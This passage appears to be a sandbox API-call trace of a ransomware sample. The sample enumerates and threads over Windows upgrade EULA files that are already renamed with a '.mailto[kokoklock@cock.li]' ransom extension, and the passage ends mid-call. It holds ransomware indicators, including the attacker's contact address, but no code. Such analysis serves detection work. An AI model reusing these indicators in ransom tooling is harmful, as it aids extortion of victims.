cFileName="EULA_ko-kr.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_K~1.D0E")) returned 1 [0170.891] wcscmp (_String1="EULA_ko-kr.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.891] wcscmp (_String1="EULA_ko-kr.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.891] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30554d0 [0170.891] wcscpy (in: _Dest=0x30554d0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.891] wcscat (in: _Dest=0x30554d0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.891] wcscat (in: _Dest=0x30554d0, _Source="EULA_ko-kr.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.mailto[kokoklock@cock.li].d0e731" [0170.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30554d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0170.892] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f33e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f33e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89aeae70, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x129fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_lt-lt.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_L~1.D0E")) returned 1 [0170.892] wcscmp (_String1="EULA_lt-lt.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.892] wcscmp (_String1="EULA_lt-lt.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.892] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055cb8 [0170.892] wcscpy (in: _Dest=0x3055cb8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.892] wcscat (in: _Dest=0x3055cb8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.893] wcscat (in: _Dest=0x3055cb8, _Source="EULA_lt-lt.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.mailto[kokoklock@cock.li].d0e731" [0170.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0170.893] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f5af3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f5af3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89b112d3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14885, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_lv-lv.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_L~2.D0E")) returned 1 [0170.893] wcscmp (_String1="EULA_lv-lv.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.893] wcscmp (_String1="EULA_lv-lv.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.893] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055d70 [0170.893] wcscpy (in: _Dest=0x3055d70, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.893] wcscat (in: _Dest=0x3055d70, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.893] wcscat (in: _Dest=0x3055d70, _Source="EULA_lv-lv.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.mailto[kokoklock@cock.li].d0e731" [0170.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0170.894] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3fa921, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3fa921, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89b37321, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10734, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_nb-no.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_N~1.D0E")) returned 1 [0170.894] wcscmp (_String1="EULA_nb-no.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.894] wcscmp (_String1="EULA_nb-no.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.894] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055f98 [0170.894] wcscpy (in: _Dest=0x3055f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.894] wcscat (in: _Dest=0x3055f98, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.894] wcscat (in: _Dest=0x3055f98, _Source="EULA_nb-no.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.mailto[kokoklock@cock.li].d0e731" [0170.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864 [0170.895] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3fe3b1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3fe3b1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89c8e79a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10758, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_nl-nl.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_N~2.D0E")) returned 1 [0170.895] wcscmp (_String1="EULA_nl-nl.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.895] wcscmp (_String1="EULA_nl-nl.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.895] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055e28 [0170.895] wcscpy (in: _Dest=0x3055e28, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.895] wcscat (in: _Dest=0x3055e28, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.895] wcscat (in: _Dest=0x3055e28, _Source="EULA_nl-nl.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.mailto[kokoklock@cock.li].d0e731" [0170.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055e28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868 [0170.896] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ff747, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ff747, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89cdad34, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14054, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_pl-pl.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_P~2.D0E")) returned 1 [0170.896] wcscmp (_String1="EULA_pl-pl.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.896] wcscmp (_String1="EULA_pl-pl.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055ee0 [0170.896] wcscpy (in: _Dest=0x3055ee0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.896] wcscat (in: _Dest=0x3055ee0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.896] wcscat (in: _Dest=0x3055ee0, _Source="EULA_pl-pl.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.mailto[kokoklock@cock.li].d0e731" [0170.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c [0170.897] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea400ac7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea400ac7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89cb5297, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_pt-br.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_P~1.D0E")) returned 1 [0170.897] wcscmp (_String1="EULA_pt-br.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.897] wcscmp (_String1="EULA_pt-br.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.897] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056050 [0170.897] wcscpy (in: _Dest=0x3056050, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.897] wcscat (in: _Dest=0x3056050, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.897] wcscat (in: _Dest=0x3056050, _Source="EULA_pt-br.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.mailto[kokoklock@cock.li].d0e731" [0170.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0170.898] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea401e7f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea401e7f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89d023b3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1164e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_pt-pt.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_P~3.D0E")) returned 1 [0170.898] wcscmp (_String1="EULA_pt-pt.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.898] wcscmp (_String1="EULA_pt-pt.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.898] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056558 [0170.898] wcscpy (in: _Dest=0x3056558, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.898] wcscat (in: _Dest=0x3056558, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.898] wcscat (in: _Dest=0x3056558, _Source="EULA_pt-pt.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.mailto[kokoklock@cock.li].d0e731" [0170.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056558, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874 [0170.899] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5c6190, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5c6190, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89cb5297, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13220, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_ro-ro.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_R~1.D0E")) returned 1 [0170.899] wcscmp (_String1="EULA_ro-ro.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.899] wcscmp (_String1="EULA_ro-ro.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.899] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056108 [0170.899] wcscpy (in: _Dest=0x3056108, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.899] wcscat (in: _Dest=0x3056108, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.899] wcscat (in: _Dest=0x3056108, _Source="EULA_ro-ro.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.mailto[kokoklock@cock.li].d0e731" [0170.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878 [0170.900] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89d023b3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x455cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_ru-ru.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_R~2.D0E")) returned 1 [0170.900] wcscmp (_String1="EULA_ru-ru.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.900] wcscmp (_String1="EULA_ru-ru.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.900] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056278 [0170.900] wcscpy (in: _Dest=0x3056278, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.900] wcscat (in: _Dest=0x3056278, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.900] wcscat (in: _Dest=0x3056278, _Source="EULA_ru-ru.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm.mailto[kokoklock@cock.li].d0e731" [0170.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c [0170.901] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89cdad34, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x140e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_sk-sk.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_S~2.D0E")) returned 1 [0170.901] wcscmp (_String1="EULA_sk-sk.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.901] wcscmp (_String1="EULA_sk-sk.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.901] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056330 [0170.901] wcscpy (in: _Dest=0x3056330, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.901] wcscat (in: _Dest=0x3056330, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.901] wcscat (in: _Dest=0x3056330, _Source="EULA_sk-sk.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.mailto[kokoklock@cock.li].d0e731" [0170.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880 [0170.902] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89cb5297, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1032f, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_sl-si.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_S~1.D0E")) returned 1 [0170.902] wcscmp (_String1="EULA_sl-si.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.902] wcscmp (_String1="EULA_sl-si.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.902] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30563e8 [0170.902] wcscpy (in: _Dest=0x30563e8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.902] wcscat (in: _Dest=0x30563e8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.902] wcscat (in: _Dest=0x30563e8, _Source="EULA_sl-si.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.mailto[kokoklock@cock.li].d0e731" [0170.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30563e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884 [0170.903] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89d023b3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x127e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_S~3.D0E")) returned 1 [0170.903] wcscmp (_String1="EULA_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.903] wcscmp (_String1="EULA_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.903] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f9f030 [0170.903] wcscpy (in: _Dest=0x2f9f030, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.903] wcscat (in: _Dest=0x2f9f030, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.903] wcscat (in: _Dest=0x2f9f030, _Source="EULA_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731" [0170.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9f030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888 [0170.904] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89d4d48d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x113b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_sv-se.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_S~4.D0E")) returned 1 [0170.904] wcscmp (_String1="EULA_sv-se.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.904] wcscmp (_String1="EULA_sv-se.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.904] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30564a0 [0170.904] wcscpy (in: _Dest=0x30564a0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.904] wcscat (in: _Dest=0x30564a0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.904] wcscat (in: _Dest=0x30564a0, _Source="EULA_sv-se.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.mailto[kokoklock@cock.li].d0e731" [0170.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30564a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c [0170.905] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89d73729, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3e1c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_th-th.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_T~1.D0E")) returned 1 [0170.905] wcscmp (_String1="EULA_th-th.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.905] wcscmp (_String1="EULA_th-th.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.905] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3057020 [0170.905] 